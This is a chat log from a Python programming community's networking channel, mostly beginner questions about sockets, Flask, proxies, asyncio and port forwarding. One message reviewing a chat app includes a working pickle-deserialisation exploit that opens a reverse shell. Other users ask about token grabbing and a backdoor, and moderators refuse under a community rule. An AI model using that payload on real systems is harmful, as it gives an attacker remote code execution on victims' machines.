#networks
1 messages Β· Page 23 of 1
so requests is networking I guess so ill pop my q in here just give me a sec
actually nvm
anything new on discord
i want to make a multiplayer game with several "rooms/lobbys", but i can't find any tutorials for that. In all tutorials I found there can only be 1 "room" at a time. So I wanted to ask if you have any tipps what i should specificly search for when i want to do an online game with multiple "rooms" on one server?
Heeeey guys i need some advice about setting up a very simple multiplayer game (using pygame) where you have 2 squares on the screen and each player can control one. Is it a better idea to send the objects as a dictionary or send the pickled object but needing to define the same class on both the client and the server ?
why would you send pickled objects?!
you literally only need to send an x,y position
@storm saffron i wanna send the whole object with all its attributes etc so i thought it needs to be in byte form ?
yeah it does but why do you want to send the whole object with all its attributs
from setup import prodottiAmazon, send_mail
app = Flask('__name__')
@app.route('/api', methods=['GET'])
def app():
Query = str(request.args['Query'])
return Query
app = Flask('__name__')
if __name__ in '__main__':
app.run()```
when i run this script and i try to search the server on internet it give me 404 error
You don't usually put __name__ in quotes, secondly, are you sure that you're accessing it on localhost and with the right port?
Hello is it possible to host server through socket without port forward
It will only be accessible only on your network then I guess or you need an static ip @sacred trench
I am not sure though
@storm saffron why does it bother you that much that i wanna send a whole object ? is it because of performance ?
Yeah mostly
But there really just isn't any point in sending it like that
If all you want to send is about 8 bytes of position information then it's really overkill
But tbh for a project like this I'm sur eut will work
And it's probably nicer and easier than messing around with protocols
I'm not trying to mess around with protocols i just wanna try some magic methods on the objects etc you see ? @storm saffron
Morning
mornin' it's 7:00 where I am
https://paste.pythondiscord.com/ciduxixawu.py Can someone look over this for me.... it runs, but theres a problem with hostname I think... been staring at this for 5+ hours. dont know whats wrong...
Hey guys, i was wondering if anyone has any good resources to learn Networking modules for python such as Socket
@lunar veldt try disabling some firewalls
i have it disabled
hmmm
also if i go on canyouseeme.org it says that the port is open
huh
unrelatedly which text editor or ide arevu using @lunar veldt
and python 2 or 3
i think so
If I connect and send a bit of meaningless data to an IP over port 80, what happens to that data? does their server try to process it and then just determine it cant do anything and delete it?
If I connect and send a bit of meaningless data to an IP over port 80, what happens to that data? does their server try to process it and then just determine it cant do anything and delete it?
@elder spoke There is volatile memory RAM and NV RAM ; all proccesses of transmission DATA between devices in a network still buffering or stored for a moments in RAM . when the computer will off ML , then DATA be losed from RAM
netwERK
So I guess just trying to learn more about general networking, what exactly are "sockets" and what're they used for?
but that's an online editor
@lunar veldt use a proper local interpreter its more likely to work smh π
If I connect and send a bit of meaningless data to an IP over port 80, what happens to that data? does their server try to process it and then just determine it cant do anything and delete it?
@elder spoke hmmmmm are you trying to commit ddos
@elder spoke depends how valid the data seems
and at what layer
if it's gibberish ipv4 then it won't get out your network
if it's gibberish tcp but valid ipv4 then it won't get into their network
if it's gibberish http but valid tcp then it will probably get to the web server but might be dropped by a smart firewall or service like cloudflare
thanks
@sacred trench that is not my goal but i was trying to understand how an attack like that worked
Lmao sure
How should I go about sending multiple requests using sockets? I tried this:
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s_sock = context.wrap_socket(s, server_hostname=HOST)
s_sock.connect((HOST, PORT))
async def send():
s_sock.send(f"GET {ENDPOINT} HTTP/1.1\r\nHost: {HOST}\r\n\r\n".encode())
print(str(s_sock.recv(4096), "utf-8").split("\r\n\r\n")[1])
start = time.time()
await asyncio.gather(*[send() for _ in range(20)])
end = time.time()
print(f"Time: {end-start}s")
Yet it's actually really slow and not as fast as I'd expect it to be
Use the asyncio transports/streams
Oh, no idea what that is
Ah this is so complicated
async def get(url):
url = urllib.parse.urlsplit(url)
if url.scheme == 'https':
reader, writer = await asyncio.open_connection(
url.hostname, 443, ssl=True)
else:
reader, writer = await asyncio.open_connection(
url.hostname, 80)
query = (
f"GET {url.path or '/'}\r\n"
f"Host: {url.hostname}\r\n"
"\r\n"
)
writer.write(query.encode())
while True:
line = await reader.readline()
if not line:
break
line = line.decode().rstrip()
if line:
print(f'{line}')
writer.close()
I got as far as this, but ssl doesn't seem to work?
ah you know what. I forgot "HTTP/1.1" in the headers
Could I perhaps have some help understanding how to send multiple requests asynchronously with sockets?
Idk if I did something wrong or what, but it's incredibly confusing and also incredibly slow
hello can i get help related to web scrapper from here?
Yes, assuming it is allowed by the websiteβs ToS
You are not allowed to use that command here. Please use the #bot-commands channel instead.
morning
!bot
Bot informational commands.
I have a RPI hooked up to a RPI camera. I have a Flask server that live streams video from the RPI to a client. I also have a route that will use send_file to send them a photo taken by the RPI.
The issue is I need to save two images to the RPI as well as sending them the file. One as a PNG and one as a JPEG. The JPEG will be sent to the user and stored on the RPI while the PNG will just be stored on the RPI.
The current Flask based system works like the following:
Capture image
Save as PNG
Save as JPEG
RETURN client JPEG file
However this means that the user has to wait for the RPI to save it as a PNG before they receive their image.
Is it possible to make a Flask system that does the following?:
Capture Image
Save as JPEG
Send client JPEG file
Save as PNG
wow, that sounds complex.
way too complex for this channel imo.
good luck though.
Oh
I'm learning Django instead of Flask.
I essentially wanna go from this:
@web_app.route("/photo")
def photo():
img = capture_photo()
img.save("PNG")
img.save("JPEG")
return send_from_directory("", "<jpeg_path>", as_attachment=True)
To this:
@web_app.route("/photo")
def photo():
img = capture_photo()
img.save("JPEG")
return send_from_directory("", "<jpeg_path>", as_attachment=True)
img.save("PNG")
But I can't because of the return
The issue is the client has to wait for the RPI to save the image as a PNG and I don't want them to have to wait if they don't have to
this an issue of async i/o probably
you can maybe make a wrapper function or call another thread.
Yeah I was thinking of threading or using asyncio
that's where I would start
Not sure if it'd still stall the client though
Starting a new thread is probably what I would do, then just return the image while the heavy processing continues in the new thread
Def gonna look into it, cheers
wouldnt use asyncio for image processing stuff
if you wanna save it after sending it back i'd use a simple thread
Also probably easier to implement threading instead of asyncio
Does anyone know how I can use asyncio to concurrently send HTTP requests?
Every tutorial i find uses the local network and ip and stuff, any good tutorials for non local networking?
It's the exact same
really?
Pretty much, yeah
i just use like 12345 or something
Yup, it should work but you need to portforward
um
like through your router
in order for devices to connect from the outside
or if you're using VPS's you need to edit the security settings and add the port
Does anyone know how I can use asyncio to concurrently send HTTP requests?
@still yarrow the aiohttp library does exactly that
is the chann free ?
@still yarrow the aiohttp library does exactly that
@narrow oak Still too slow for my needs, though
You can just type your question here if it's related to networking
I just want to use like asyncio streams send and read many requests at once
as an informatic and english beginner idunno what does it exactly is π but it looks like the more appropriated
i'm making a python code which downloads images from the web. I'm a beginner in this language so that maybe wasn't the better way :i used beautifulSoup4 to access the website html code and then get the src of images and download them with this link. But for some pages, i have a 403 error on pages that i can easily see as chrome user. So why does the programm can't access this webpage but me yes ? and if possible, how could the programm get (not necessarily with beautifulsoup) the html code og this page ?
could also be using http instead of https
@slender steeple i saw that i could use requests.session for the cookies but i dont really know how to use it
could also be using http instead of https
@still yarrow but if i change it the url won't be the same no?
you mean i should just replace the https by http in the url ?
I don't really know
i'm making a python code which downloads images from the web. I'm a beginner in this language so that maybe wasn't the better way :i used beautifulSoup4 to access the website html code and then get the src of images and download them with this link. But for some pages, i have a 403 error on pages that i can easily see as chrome user. So why does the programm can't access this webpage but me yes ? and if possible, how could the programm get (not necessarily with beautifulsoup) the html code og this page ?
@ember ledge Almost certainly due to the site implementing CORS or only allowing certain origins
basically you can only access the resources when its being loaded by the site
@still yarrow you can use asyncio.create_task() to create concurrent tasks
you can read more https://realpython.com/async-io-python/
I tried that, but I get this error:
RuntimeError: read() called while another coroutine is already waiting for incoming data
basically you can only access the resources when its being loaded by the site
@gloomy root so when i come on the site it's okay but when my programm is directly asking ressources , error 403 occure ?
yes
because the website will see what its being referenced from and reject it
also this is about as far as we can help you with that because of rule 5
!rule 5
5. Do not provide or request help on projects that may break laws, breach terms of services, be considered malicious or inappropriate. Do not help with ongoing exams. Do not provide or request solutions for graded assignments, although general guidance is okay.
@still yarrow you cant do concurrent read writes on the socket no, if you want it to be concurrent you need to send multiple requests
So is it impossible to read concurrent responses?
@gloomy root cors only applies to browsers
yeah which is why the site can check references
if you as a site have a setup where you know only your site is going to be sending xyz as part of the site
and a random request comes in without those specifics
you can spoof referer
yes ik
but yeah rule 5
and would you accept to go dm ? i'd understand if it wasnt the case π
no
okay no problem
Hmm, alright then
Wait so how can I send multiple HTTP requests via sockets?
I notice that when trying to just use write multiple times, that it only sends once
why are you sending http requests via sockets
Hey everyone...
So I wanted to get started with networking...
Can someone share me resources I should go through...
PS: I have worked on few minor programs before...
I want to get hold on some theory...
i was going to ask the same thing
There are some links to great resources in the bottom of the pinned message. What I suggest is to create a simple tcp chat app using sockets. Then maybe look into the OSI model and continue from there.
On Flask, how do I redirect to the home page?
@web_app.route("/test")
def test():
return redirect(url_for("/")) # DOESNT WORK
@web_app.route("/")
def main_page():
...
Found a fix don't worry -
@web_app.route("/test")
def test():
return redirect(url_for("main_page")) # Supposed to use the function route names...
@web_app.route("/")
def main_page():
...
I'd think that's more of a question for #web-development @ocean moss
Thought I was in the right channel sorry
How does one send a POST request using sockets? I'm a little confused
i was trying to send a image through sockets. I used pyautogui.screenshot() and sent it through socket but it didnt work, because of threading probbably i think. when i ran a test script without threading that worked. Can anyone help me im basically trying to send commands to my pc through laptop and for sending commands through and recieving data at the same time im using threading, can anyone help me out?
@still yarrow you'll need to send a TCP packet with the correct format
So something like
POST /url
Yeah it does lol
So many people struggle with that cause it's hard to notice
And not obvious that it'd require /r as well
yeah, lol
Does anyone know of an up to date (Python 3) networking tutorial thats actually useful?
Also why isnt this working:
import socket
Sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Sock.bind(("194.75.no.no", 8080))
Sock.listen(5)
while True:
clientsocket, address = Sock.accept()
print(f"Connection from {address}")
clientsocket.send(bytes("Welcome", "utf-8"))
Obviously no are numbers
It doesnt print "connection..."
that ip adress is my public ipv4? in the client code that is
the host you are specifying in Sock.connect (the IP) is effectively the IP of your host
it can also be None (to bind on all interfaces) or 0.0.0.0 (basically the equivalent AFAIK)
well that depends on the setup of your network, but no not if you are using NAT
which you most likely are
so what do i put in socket.connect()?
0.0.0.0 I would suggest
with this you are creating a listening socket that is waiting for connections
not something that connects to another place
the IP you specify is the IP to react on when receiving packets
0.0.0.0 is shorthand for just accept connections on that port for all IP addresses
wait a sec im not sure i fully understand (sorry)
if i have two devices in different networks:
in my server script i put 0.0.0.0
in my client script i put 0.0.0.0
in your client script you need to put the IP (or dns name) of the server
in the server you usually put 0.0.0.0 unless you have a reason not to
ok i think ive got it, but just to check:
in server: SSocket.bind(("0.0.0.0", 8080))
in client: My servers public ipv4 address?
depends on where the client is, but yes π
in the client you need to use socket.connect
@prisma cobalt check the echo client/server here: https://docs.python.org/3/library/socket.html#socket.socket.share
yeah, looks good
are you connecting with the public ip?
if so have you port forwarded
otherwise your router won't be letting the packets in
have you port forwarded
um.....
maybe?... π
i havnt done anything special
il do that now
this isnt working
the problem is your network configuration, not the code
if you want to access the socket server with a client outside your network you need to do NAT forwarding and/or open up your firewall
^ otherwise no reqs will go to your computer
So option 1: disabling firewall
Option 2: some fancy pants NAT forwarding
i need some feedback on this program i designed, its basically a networking application meant to let people chat with people around the world you can use
a plugin system to modify the server to make secure chat rooms, minigame servers, or servers of any kind https://github.com/FeedFall8/loqueres-cord
well for starters readability and pep 8 be a bit dammed
also i see pickle and the work security and start to doubt things (see https://nedbatchelder.com/blog/202006/pickles_nine_flaws.html)
for a beginner socket project seems alright overall
but pep 8 man
first 10 lines of client:
server=__import__('server')
version='1.0.1'
import time
import _thread
import threading,pickle,os
def runserver():
try:
os.system('loquere-server.py')
except Exception as e:
print("error:",e)
a few things:
why __import__ and _thread
use subprocess instead of os.system to avoid an extra shell
you have 3 imports grouped on the same line
but the other 2 are separate?
except Exception is bad - also applies to the rest of your code
also the os.system breaks on linux
server crashes with a keyerror?
also
this is all you need to get full RCE on a client
from pwnlib.tubes.listen import listen
import pickle
import os
class PickleRCE:
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return os.system, (self.cmd, )
ip = "127.0.0.1"
port = 3000
l = listen(19132,ip)
s = listen(port,ip)
l.wait_for_connection()
l.recv()
l.send(pickle.dumps(PickleRCE(f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")))
s.wait_for_connection()
s.interactive()
is there a library which i could use to connect my network via multiple proxies, like a proxychain?
hi is anyone able to help me with a wevtutil query
Hi, how can i find the handshake in Wireshark?
Hey all π Having a brain fart and hoping this is a simple one but wondering if anyone can help find the best way to create a list of logically similar CIDR blocks... i.e. we have blocks reserved for each env (i.e. dev, test and prod), I've got the logic for finding used and available blocks, but from the available I need to return this logically groupped sets. This is the example set of CIDR's using 3 supernets:
[
[
'10.100.0.0/22',
'10.100.8.0/22',
'10.100.12.0/22',
'10.100.16.0/22'
],
[
'10.101.0.0/22',
'10.101.4.0/22',
'10.101.8.0/22',
'10.101.12.0/22'
],
[
'10.102.4.0/22',
'10.102.8.0/22',
'10.102.28.0/22',
'10.102.32.0/22'
]
]
What I want out of that is a list containing ['10.100.8.0/22', '10.101.8.0/22', '10.102.8.0/22']... thinking I'm just overcomplicating it in my head after staring at it too much :/
@raw moon create a dict with keys dev, test, prod and give these attributes to respective keys?
networks = {
'dev': ['10.100.0.0/22', '10.100.8.0/22', '10.100.12.0/22', '10.100.16.0/22'],
'prod': ['10.100.0.0/22', '10.100.8.0/22', '10.100.12.0/22', '10.100.16.0/22'],
'test': ['10.100.0.0/22', '10.100.8.0/22', '10.100.12.0/22', '10.100.16.0/22']
}
then to access an item, e.g dev:
networks['dev']
Sorry, copy/paste error - this isn't currently a nested list - they are actually all values of a dict exactly as you mention - i.e. the 10.100 is:
development: [
'10.100.0.0/22',
'10.100.8.0/22',
'10.100.12.0/22',
'10.100.16.0/22'
]
the problem is that I want to retrieve the similar subnets - I know how to get all CIDR's per environment, but I want the ones that match up on the 3rd octet, i.e. the 10.*.8.0/22 one in this example
you can search each item in the list and check the ones that match a regex for your desired pattern
yeah that's what I'd thought about originally, just wasn't sure it was a "nice" way to do it - but yeah, will do that π
Hello, How show value of an edge with bqplot.marks.Graph
I would like show value of edges of my graph
link_data = [{'source': rank[edge[0]],
'target': rank[edge[1]],
'value' : "value of my edges"}]
But nothing appears
I search on some plateform but i found nothing
Thank's for help
Ps : All of my code is done with bqplot so don't advise me to use another library please
Hello, has anyone worked with Siemens s7 1500 PLCs ?
I wanted to read / write some variables from the PLC DB (Database)
I used the python module called snap7, did all the required procedures however without luck
Hello. Can someone give me an example of a client's message in HTTP?
Ohh thin. I confused networkx (for graph) with networking
all the port fields should be 8080
yep
if two devices on different networks wanted to talk to each other, both of them would have to port forward? and if so it would have to the same port right?
Code:
My device can connect to itself if i run both of the scripts above
however a laptop of the same network cant
im assuming its something to do with localhost but how do i get 2 devices on DIFFERENT networks communicating
i'm making a online game server. can someone help me
i have some codes
it's working in my pc but i dont know how to play with my friends
@ember ledge sounds to me like we both have problems connecting to different networks
I noticed that my router was just plain messed up when it came to port forwarding
any web servers I have, I ended up hosting on AWS
@prisma cobalt are you wanting same or different network
if it's the same network then you don't need to port-forward
i want different network
The server needs to be run on its public IP and the port must be open and/or the firewall must allow inbound connections on that specific port / for that specific process. If it still doesnt work for the clients to connect they might also heed to allow outbound connections to that IP, but this isnt often a problem.
has anyone worked with socketio
i was working on an app and i needed to use flask_socketio to work on a chat feature
however i keep getting a GET /socket.io/?EIO=3&transport=polling&t=NN8cGDa HTTP/1.1" output, it seems to be constantly polling
how can i turn this off? I need to push something to depoloyment and want to "turn off" the websocket because i haven't tested it yet on the server
are you using socketio anywhere
i dont believe i am
i even switched git branches
and pulled new code
but its still running
idk if it has something to do with the server?
there were some warnings about installing some server component for handling continuous requests
if you're behind carrier NAT, you need to buy a public IP
if not, you just need to forward the relevant ports to a device behind your router (80/443)
I did forward the ports and it allows me to connect but i get a page not found because i havnt created a page, how would i create and implement a page (maybe in html or something)
what are you using to host
if python then you can use a library like flask
you can test it locally as well so you don't have to worry about large-scale deployment while developing
is this the right place to ask about websockets
yes its networking
huh?
Can anyone tell me why, after the first message sent from client, it loops to infinity and prints "" on the client side
Hi, I was writting a short python script and I got stuck on reggrex. Given that the password policy has the requirements below, implement a function to print out the names of all employees with weak passwords.β’At least 8 characters in lengthβ’Must have a combination of upper- and lower-case charactersβ’Must have at least 1 digit.
def weak_passwords():
employee_data = read_data()
for row in employee_data:
if not (re.match(r'[a-z]+[A-Z]+\d+', row[6] and len(row[6]) >=8):
print(row[6])
weak_passwords()
It's matching passwords that do meet the requirements
hello, I'm trying to collect this specific data but it gives the error:
print (resp["authorization"]) KeyError: 'authorization'
Code: https://i.stack.imgur.com/jnxbi.png
What I would like to collect:
https://i.stack.imgur.com/uPwum.png
What should I do to be able to collect this data?
what is the purpose of that @spark seal
@spark seal why do you json.dump then load immedaitely after
yep, that's useless
Looks like a token stealer tbh
Also, r.headers dictionary doesn't have any authorization key
Parece um ladrΓ£o de tokens tbh
@lunar veldt I'm not a token thief, I just want to create a python file to facilitate access to the token
uh isn't authorization a request header?
you're dumping the resp header
and it wont work anyways
ok, thanks
@lunar veldt I'm not a token thief, I just want to create a python file to facilitate access to the token
@spark seal Yup sure, that's why you're dumping it in a file called tokens.txt
Kinda suspicious
Hello, would anyone be willing to help me, or provide me with some resources on how to handle a stream of json objects in python? Im implementing a dashboard that fetches live data. The api documentation says that the request "returns a stream of JSON documents and heartbeats (empty lines)" when i submit the following request it runs indefinitely. req2 = requests.get(livestream_request, headers= {'accept-encoding':'gzip', 'authorization': api_key}) Any help is appreciated!
Maybe you need to use ```json
{"connection": "close"}
thank you @still yarrow but it didn't work ): I'm assuming i would want to keep the connection open since I'm implementing a dashboard the displays live data. I just cant find any resources on how to handle to JSON documents
How are you accessing the returned value? Does req2.json() work?
hi, im currently making a backdoor with sockets and im wondering how i can translate these linebreaks so the text gets formatted the right way in my shell
!rule 5
5. Do not provide or request help on projects that may break laws, breach terms of services, be considered malicious or inappropriate. Do not help with ongoing exams. Do not provide or request solutions for graded assignments, although general guidance is okay.
a backdoor kinda falls under that rule lol
I am trying to connect to my python socket server which i have deployed on heroku
This is my server and i don't know what is the ip address and port no to bind
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(())# I don't know what is the port no and ip address to bind
s.listen(3)
conn,add = s.accept()
while True:
conn.send(bytes('HelloWorld','utf-8'))
And this is my client
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(())# I don't know what is the port no and ip address of the server to connect
while True:
print(s.recv(1024).decode())
Can anyone help me how to solve this prob??? please
Thanks in advance
if im using it for my own no @narrow oak
even so im just asking for help with linebreaks i dont see a problem there
this discussion has been done a hundreds times, you can take it with the moderators and staff team, not me.
basically its a shell from my pc to my rasp how is that illegal tf
im just asking why its formatting that way
???
there is no way for us to know that you dont have malicious intentions. ( <@&267629731250176001> )
?
im asking why its formatting that way
do you understand
nothing more nothing less

i am new to networking........ and is server-client communication the only possible way to make a chat app.......are there other ways of communication like the one used in whatsapp which uses cellular internet connection of a phone.....are there any sort of thing like that in python ???
I am new to networking, i have a question, can i host a WLAN server on my network with sockets to make a chat application and my friend join the server and talk to each other?
@meager sundial The most easiest ways included sockets somehow. Web sockets, raw sockets are some great options. Alternatively use an existing SDK / API to build your chat app. For instance Google Firebase which is a database where you can store the messages and get notified when there is an update. I dont know if there are ways to directly use python and celluar internet connections, sounds very low level and might be possible to implement in other language.
@ember ledge You can. But you'd need to use your public ip to bind your server and also allow port forwarding so the connections goes to your process. You might also need to configure your firewall to allow inbound connections. Clients must then use your IP to connect.
oh tnx @narrow oak
any reason why requests.get("https://ifconfig.me", proxies={proto: endpoint}) wouldn't raise an error when connecting to proxy
but the response returns my own IP and not the one of the proxy?
ifconfig.me is for fetching back the connecting IP to the server
uh that proxy arg looks wrong
whats proto?
plus your proxy might set x-forwarded-for
@ember ledge
@slender steeple
http/https
trying both
it would make perfect sense if the error was raised
i mean most proxies im trying are dead
but it doesnt raise any error
even if proxy sets the x-forwarded-for the odds are very tiny that it will be used by the final server
what I am also unsure about is the format of a proxy arg aka is it
proxies={"http", "http://myprox:80")
or
proxies={"http", "myprox:80")
found 2 contradicting answers online, the one on stack says one thing https://stackoverflow.com/a/45167170
I try to use https proxy in python like this:
proxiesDict ={
'http': 'http://' + proxy_line,
'https': 'https://' + proxy_line
}
response = requests.get('https://api.ipify.org/?format=json',
the documentation says the other
Try it and see
I gave up and used curl with --proxy option instead
hey guys a quick question. I am trying to connect to a mysql server using python (mysql.connector) on windows and I keep getting this error. (10060 A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond)
Hello, not sure if this is the right section to ask, if i have my python program on 10 different computers, can they al laccess the same database file without having to set up a server?
at the moment on the pc the program is on
but if say, 20 people use the program, they wont be able to say access a google drive and get the file from there?
i need help with sockets. The Client.py file keeps on refusing the connection, and when I remove the s.recv() from the server.py code, it works, anyone knows why? https://paste.pythondiscord.com/dacaredabe.py
Hello friends,
I'm trying to get app server to communicate with db server aws. Both are ec2 instances.
I was able to get the app server to communicate with the db server via public IP, but I want to do it through private IP because app server doesn't have an elastic IP yet.
I was wondering what should I do?
Some more information, they're under the same vpc but different subnet.
@delicate gyro Are the subnets routable to eachother?
If so; just use the private dns names/ips
Hey @split moat ,
you are totally correct. I should have updated my post that I found the solution.
The way I was accessing the instance from the other one was from a public interface instead of a private one.
Thank you nonetheless, I really appreciate it.
what's the difference between doing await websocket.recv() and async for message in websocket:
await websocket.recv() will receive one frame and I'm pretty sure async for message websocket will receive frames until the websocket closes
I just assumed you were talking about aiohttp
wait so in this code
async def counter(websocket, path):
# register(websocket) sends user_event() to websocket
await register(websocket)
try:
await websocket.send(state_event())
async for message in websocket:
data = json.loads(message)
if data["action"] == "minus":
STATE["value"] -= 1
await notify_state()
elif data["action"] == "plus":
STATE["value"] += 1
await notify_state()
else:
logging.error("unsupported event: {}", data)
finally:
await unregister(websocket)
start_server = websockets.serve(counter, "localhost", 6789)
asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()
could you explain what's going on in regards to a client connecting and async for message websocket
i'm a little confused. is this function ran constantly until the connection is closed or ?
How are you accessing the returned value? Does
req2.json()work?
@narrow oak thatβs my next line and it doesnβt even get to it. Runs infinitely on the request. Not sure what that indicates. before hand I had a timeout parameter and my request would just timeout everytime
Anyone know of any python wrappers or libraries that I can use for Microsoft Oauth2?
Or simply an example of using the basic profile and email scopes to get someone's information
Hello. So now I have access to an internet connection with wiki and password. What can I do with it? (Pls, in terms of security and hacking, note that is my own router I want to try something new that is related to hacking)
Hi
Hi! I have to use WebDAV for automated data exchange. There are several modules on PyPI. Which is recommended? I tried webdavclient3. Most seems a bit outdated.
@sacred trench wiki and password?
And there's not really very much you can do against a single router if you're a complete beginner
Maybe try some online challenges to learn the basics
this isn't too related, but how tf do you install requests with python 2
if I do pip(instead of pip3, Im on linux) install requests, it points to the python3 installation of requests, but if I try to execute it with python code.py it says couldn't import requests?!
Okay, if someone could help me understand why this isnt port forwarding properly it would be much appreciated cuz its really fucking testing atm.
we have our main Router config: setup on portforwarding
we have our modem/lil router config
and we still have no requests getting through
does anybody know a library to capture packets in python?
like Npcap and SharpPcap
@winged river pip2 install requests (assuming you have python2 pip installed)
but why are you using py2 in the first place
I tried pip2 but it didnt work
I had a payload for a try hack me challenge
and I didnt know how to fix some stuff that had changed in urllib from 2 to 3
no ubuntu
uh first check sudo apt install python-pip
only works if your version of ubuntu is old enough
20.04 lts ...
otherwise download and run https://bootstrap.pypa.io/get-pip.py
using python2
@analog marsh libpcap https://pypi.org/project/libpcap/
hm can scapy capture packets?
yep it can
@analog marsh also checkout scapy and pyshark
@gloomy root Make sure when they try to connect there using your public ip address not local
also make sure your firewall setting will allow that port
how can i make it so that the client doesn't cut after it sends the first message, i tried a while True loop but that doesn't do anything
how do i use proxy with authentication in requests?
What does await do? Just general question like does it wait until it returns something
Can someone help me, I'm trying to set the ip of a router that is connected to another router and switch but It's locked
is there a way to go through one of the routers or switch to apply an IP address to the router that is locked?
@lunar veldt you can specify a proxy kwarg when calling request methods, which accepts a dictionary with the protocol (string), being the key and a string "ip:port", being the value.
@prisma cobalt it's a keyword in python used to call asynchronous functions (functions which are defined using the following syntax: async def .... Asynchronous code is a way to schedule tasks and overall make code run faster. #async-and-concurrency
I want to take router diagnostics and paste them into something offline, text file or whatever, and apply a template that can create a data structure based on that output, parse through values of importance and tell me possible issues. What is the best tool for this? I'm reading TextFSM and Netmiko? Any suggestions on where to start? Thanks..
can anyone help me with pysftp connection ? I'm getting a bad authentication error even after setting hostkey to none and providing host,user,password and private key
Im able to connect via WinSCP
Has anyone ever set up a server on python which can receive text messages? I started my own and im using import socket would this be recommended ?
Do you mean like actual LTE text messages
I dont know , im only learning . Like when you run the program in cmd you can receive text messages
what does LTE mean ?
@ember ledge Long Term Evoution (https://www.wilsonamplifiers.com/blog/the-difference-between-4g-lte-and-5g/)
in requests you have a parameter called proxies u can specifiy ur proxy there in a dictionary form ,
example :
import requests
mydict = {
"http":"localhost:8000"
"https":...
}
r = requests.post(url,data = {..},proxies=mydict)
print(r.text)
and you should be alright
im hoping someone could help me configure my nginx server to work with socketio
ive looked at the flask socketio docs and there's a section for configuring the server
however usually config files are project specific so I want to make sure there are no issues
maybe the wrong channel, but can someone explain the difference between a bitcoin transaction and routing money to someone through ACH https://en.wikipedia.org/wiki/Automated_clearing_house
An automated clearing house (ACH) is a computer-based electronic network for processing transactions, usually domestic low value payments, between participating financial institutions. It may support both credit transfers and direct debits. The ACH system is designed to process batches of payments containing numerous transactions and charges fee...
or like idk
paypal
or zell
or apple pay
I know zell/paypal/apple pay are like user sending bank account -> zell/paypal/apple server -> user receiving bank account kind of whereas bitcoin has no servers
but idk why is that significant
why does p2p change monies
well bitcoin doesn't rely on anyone to be authoritative
with the ACH or paypal/payment provider model
you completely and utterly trust paypal to take your money and tell the merchant that you paid
I have a question about socket. Could it be possible to connect to a socket with some proxies (so you don't reveal your real ip)? And if it's possible how can I do that?
@storm saffron
so, I understand that bitcoin miners solve cryptographic puzzles on blocks so they can get the hash value it returns
and this is supposed to verify the data in that block and move it forward in the network, so the bitcoin network is more secure
but why does the hash value
verify anything?
why does it show that the data wasn't edited?
so the 'doing work' part is that you have a problem which is difficult to solve but once you've solved it it's easy to verify
for example if I ask 'what's the square root of 1211944969'
that's a much harder problem than 'what's 34813 squared'
like it is easy to do in reverse but not forward or?
yeah
or harder to do in reverse
so you can easily verify that 34813 is the correct answer, but it's much harder to do the calculation in the first place
well whatever the hard part is, the reverse is much easier
square rooting is just a nice example of a problem like that
so it is harder to get the hash from the encryption than it is to get the encryption from the hash?
and the nodes after the miner nodes
like just
do it in reverse to know the miner was correct
do the miner's work in reverse
well they use the miner's answer to verify that the work was done correctly
well take the square rooting example
if i give you the task of calculating the square root of 1211944969
yeah they square the square root it to be sure it is the square root
it's much easier for me to check your answer by squaring your answer and comparing it to 1211944969 than it is to do the square root myself
yeah so another cryptographic example is prime factors
rather than square roots
if i say 'what two prime numbers multiply to give 1373993'
that's really quite difficult compared to just multiplying two numbers
and you would take a very long time trying to solve it
but doesnt that only verify that the hash came from the encrypted block? how do they know the block wasnt just changed
i have read that the hashes kind of build on eachother
like they are
hashes of hashes of hashes and so on
is that true
or no
i don't know about the actual maths involved
but if you're trying to verify that a transaction was legitimate then there's a similar technique of asymmetric encryption
where you generate a secret private key and a public key
then you can sign transactions with the private key and anyone with the public key can verify that they were signed by you
but they can't sign a transaction with the public key themselves
Anyone know what library/concept I should learn to have a Python script login to a website so I can use BeautifulSoup on pages on that site? The pages are only available if the person is logged in
@silent geyser
use requests.Session()
using a session will store your cookies and headers.
so if you login to a website using a post request it will keep the cookie for the next request
snippet:
import requests
session = requests.Session()
login_url = "https://example.com/login"
session.post(login_url, data={'username': 'testusername', 'password': 'testpassword')
# it will be authorized for this request
session.get('https://example.com/data')
Nice, thanks
Im using import socket to create a sever on python , I got the code from a youtube video and im trying to run it on my cmd. What I dont understand is I use a certain port number and I got the error sock.bind(('0.0.0.0', 10000))OSError: [WinError 10048] Only one usage of each socket address (protocol/network address/port) is normally permitted . Also when I connect to a sever and I try to do telnet , I seem to be stuck in a infinite loop. Then I close the cmd , does this leave the server unclosed or something ? Could someone try explain to me what im doing wrong
It creates a .db file, or .sqlite, don't remember, but it's not stored only in memory, it uses the harddrive as well. Also incorrect channel #databases
so, i'm making a mac changer for linux in python to change the eth0 mac address but everytime i run the code the mac address changes but the network stops working until i restart the vm ifconfig eth0 down
ifconfig eth0 hw (the mac address goes here)
ifconfig eth0 up
@ember ledge you can't have 2 servers running on the same port
a quick way is to just kill every python process
taskkill /f /t /im python.exe
Can I ask a question or @ember ledge is not yet done with his/her question?
eh you can probably ask @graceful shadow
well changing your mac address is quite likely to break things
also depends if your hardware actually supports it
i imagine if it doesn't then you'll be completely unable to receive packets
oh wait vm
yeah
You know how a video game connects two people together? Like a 1v1, how does that work? And is there away to intercept it and join a certain person? Like if u had a game and u wanted to play your self or a friend, and u had permission.
That's networking, yes. The most common thing used in game networking is sockets, perhaps the UDP protocol but TCP is also common for connections where reliability is important. There are some resources in the pinned msg if u want to learn more about networking, or sockets.
The server controls the joining part most likely, if you're going for client server architecture.
Why my client.py file returns an error saying [WinError 10061] No connection could be made because the target machine actively refused it.
I get that too, try disabling firewalls.
I did , but with no luck
sorry, cant help further in that case
π
hi
Are you trying to connect to a webserver or a custom server you made yourself?
hello i am sending request with python socket with range header
range:bytes=0-1761689
but when i check len of data
it sent only 1755136 bytes in the end
